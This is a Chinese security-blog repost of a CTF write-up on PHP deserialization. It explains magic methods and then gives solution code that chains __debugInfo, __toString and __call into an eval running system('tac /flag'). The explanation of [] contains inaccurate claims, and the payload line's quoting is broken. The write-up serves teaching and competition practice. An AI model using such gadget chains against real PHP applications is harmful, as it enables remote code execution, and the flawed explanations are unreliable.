反序列号漏洞解析及赛题分析

admin 2025年3月11日08:52:01评论9 views字数 1945阅读6分29秒阅读模式
反序列号漏洞解析及赛题分析
一、反序列号漏洞赛题解析

1.1 第一题

第六届浙江省大学生网络与信息安全竞赛 2023年 初赛/决赛 WEB方向 Writeup

easy php

简单反序列化

反序列号漏洞解析及赛题分析

分析:

a. __toString()

在PHP中,Exception::__toString是一个魔术方法(Magic Method),用于定义当尝试将对象作为字符串输出时的行为。具体来说,当一个异常对象(通常是Exception类或其子类的实例)被当作字符串处理时(例如在echo语句中,或者在print函数中),PHP会自动调用该对象的__toString方法。这个方法的目的是提供一个可读的字符串表示形式,通常包含异常的描述信息、错误代码、文件路径、行号等,以便于开发者快速定位和解决问题。

class User {

private $name;

private $email;

public function __construct($name, $email) {

$this->name = $name;

$this->email = $email;

}

public function __toString() {

return "User: {$this->name}, Email: {$this->email}";

}

}

$user = new User("Alice", "alice@example.com");

echo $user; // 输出 "User: Alice, Email: alice@example.com"

__toString() 是 PHP 提供的一个魔术方法,用于定义对象在被转换为字符串时的行为。它在某些场景下显得非常有用,因为它让开发者可以控制对象在输出、拼接、打印时显示的内容。下面是__toString() 方法的详细解析和相关内容。
b. =>符号
在PHP中,“=>”符号用于定义一个键值对,即将一个键和一个值关联在一起。这种键值对的集合就是关联数组,也称为“哈希表”或“字典”。通过“=>”符号,可以指定一个键和对应的值之间的关系,使得数据在数组中可以按照键值对的形式进行存储和访问。

c.[]用途

[]在 PHP 中用于以下用途:

数组索引:获取或设置数组元素的值。

数组声明:声明包含元素的数组。

哈希表:声明键值对(PHP 7.4+)。

范围解析:解析变量或对象的范围。

可变变量名:创建包含变量名的变量。

例如哈希表(键值对)

$hashTable = ['name' => 'John Doe', 'age' => 30];

echo $hashTable['name']; // 输出:John Doe

BBB::__debuginfo()->CCC::__toString()->AAA::__call()

d.__debugInfo()

__debugInfo(): array

当通过 var_dump() 转储对象,获取应该要显示的属性的时候,该函数就会被调用。
var_dump() 函数用于输出变量的相关信息。
var_dump() 函数显示关于一个或多个表达式的结构信息,包括表达式的类型与值。数组将递归展开值,通过缩进显示其结构。

e.tac 命令

        从最后一行开始显示, tac 是 cat 的反向显示,按行倒置输出。
f.writeup
<?php
highlight_file(__FILE__);
class AAA{
    public $cmd;
    public function __call($name, $arguments){
        eval($this->cmd);
        return "done";
    }
}
class BBB{
    public $param1;
    public function __debuginfo(){
        return [
            'debugInfo' => 'param1' . $this->param1
        ];
    }
}
class CCC{
    public $func;
    public function __toString(){
        var_dump("aaa");
        $this->func->aaa();
    }
}
$a=new BBB();
$a->param1=new CCC();
$a->param1->func=new AAA();
$a->param1->func->cmd='system('tac /flag');';
$aaa=serialize($a);
echo $aaa;
unserialize($aaa);
?>
参考文献
https://blog.csdn.net/Jayjay___/article/details/134426070
https://blog.csdn.net/qq_41643749/article/details/143732496

原文始发于微信公众号(豆豆咨询):反序列号漏洞解析及赛题分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月11日08:52:01
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   反序列号漏洞解析及赛题分析https://cn-sec.com/archives/3825795.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息